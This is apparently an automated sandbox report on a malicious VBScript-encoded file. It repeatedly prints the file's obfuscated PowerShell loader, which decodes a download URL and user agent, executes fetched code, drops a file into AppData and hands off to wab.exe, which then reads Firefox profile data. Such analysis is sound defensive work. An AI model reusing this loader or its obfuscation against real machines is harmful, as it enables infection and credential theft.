COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_046B85F0	13_2_046B85F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_046B8EC0	13_2_046B8EC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_046B82A8	13_2_046B82A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_22C93960	15_2_22C93960
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_22C94978	15_2_22C94978
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_22C9961E	15_2_22C9961E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_22C9C850	15_2_22C9C850
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_22C93CA8	15_2_22C93CA8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_232CAD28	15_2_232CAD28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_232C8B18	15_2_232C8B18
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_232C7BB1	15_2_232C7BB1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_232C0040	15_2_232C0040
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 15_2_232C3C00	15_2_232C3C00
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E1C5C	16_2_007E1C5C
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E25D3	16_2_007E25D3

Source: amsi32_6840.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2680, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6840, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBE@14/8@3/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Belleric74.Afs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3436:120:WilError_03
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3436:304:WilStaging_02

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmx2r0kx.r2f.ps1

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Command line argument: WABOpen		16_2_007E1C5C
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Command line argument: 5~		16_2_007E3530

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=2680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6840
Source: C:\Program Files (x86)\Windows Mail\wab.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe "C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe "C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
